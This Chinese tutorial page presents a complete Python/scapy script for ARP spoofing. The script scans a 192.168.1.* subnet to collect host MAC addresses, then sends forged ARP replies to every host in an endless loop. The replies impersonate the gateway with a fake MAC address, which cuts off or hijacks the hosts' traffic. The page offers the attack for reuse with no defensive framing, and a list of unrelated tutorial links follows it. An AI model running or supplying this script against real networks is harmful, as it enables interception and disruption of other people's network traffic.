python使用arp欺骗伪造网关的方法

作者:feiwen 时间:2023-01-02 19:22:48 

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:


#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
 #伪造来自网关的arp应答
 t=p
 t.hwdst=hw
 t.pdst=ip
 send(t)
def get_host():
 #得到在线主机的mac地址和对应ip地址
 hw_ip = {}
 sys.stdout = open('host.info','w')
 arping(IPADDR)
 sys.stdout = stdout
 f = open('host.info','r')
 info = f.readlines()
 f.close
 del info[0]
 del info[0]
 for host in info :
   temp = re.split(r'\s+',host)
   hw_ip[temp[1]] = temp[2]
 return hw_ip
if __name__ == "__main__":
 hw_ip = get_host()
 while 1 :
   for i in hw_ip :
     arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

标签:python,arp,网关
0
投稿

猜你喜欢

  • python中函数返回多个结果的实例方法

    2023-02-27 14:46:50
  • 对Python中plt的画图函数详解

    2023-08-16 08:49:07
  • 浅析python参数的知识点

    2022-12-16 01:39:32
  • 微信小程序(十二)text组件详细介绍

    2024-04-19 09:43:53
  • Django如何批量创建Model

    2022-12-29 15:40:39
  • sql中时间以5分钟半个小时任意间隔分组的实现方法

    2024-01-25 04:23:39
  • SQL server 自增ID--序号自动增加的字段操作

    2024-01-29 03:51:55
  • PHP PDOStatement::columnCount讲解

    2023-06-04 22:24:39
  • python根据出生日期返回年龄的方法

    2023-10-10 23:04:53
  • 分享6个Go处理字符串的技巧小结

    2024-01-30 17:39:07
  • pycharm利用pyspark远程连接spark集群的实现

    2023-10-08 06:49:00
  • python使用PyGame模块播放声音的方法

    2021-02-22 06:50:58
  • Python实现手写一个类似django的web框架示例

    2022-06-18 03:17:26
  • Mysql 忘记root密码和修改root密码的解决方法(小结)

    2024-01-20 09:01:22
  • Python生成pdf目录书签的实例方法

    2023-10-11 15:43:21
  • 学习python需要有编程基础吗

    2022-05-01 15:23:47
  • JavaScript模块规范之AMD规范和CMD规范

    2024-04-30 08:52:46
  • Keras多线程机制与flask多线程冲突的解决方案

    2023-09-12 02:10:51
  • pytorch tensor计算三通道均值方式

    2022-06-26 00:02:41
  • 基于Django的乐观锁与悲观锁解决订单并发问题详解

    2021-07-14 19:42:08
  • asp之家 网络编程 m.aspxhome.com